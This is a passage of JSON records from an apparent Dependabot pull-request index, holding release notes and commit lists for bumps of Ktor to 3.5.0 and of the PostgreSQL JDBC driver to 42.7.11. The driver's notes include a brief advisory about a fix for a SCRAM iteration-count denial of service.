href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-config-yaml` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-config-yaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonS...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/orkivar/pull/91","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Forkivar/issues/91","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/91/packages"},{"uuid":"4552137830","node_id":"PR_kwDOSq19D87g1RGU","number":9,"state":"open","title":"Bump org.postgresql:postgresql from 42.7.3 to 42.7.11","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-29T22:59:57.000Z","updated_at":"2026-05-29T23:38:21.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"org.postgresql:postgresql","old_version":"42.7.3","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"}],"path":null,"ecosystem":"maven"},"body":"Bumps [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) from 42.7.3 to 42.7.11.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable 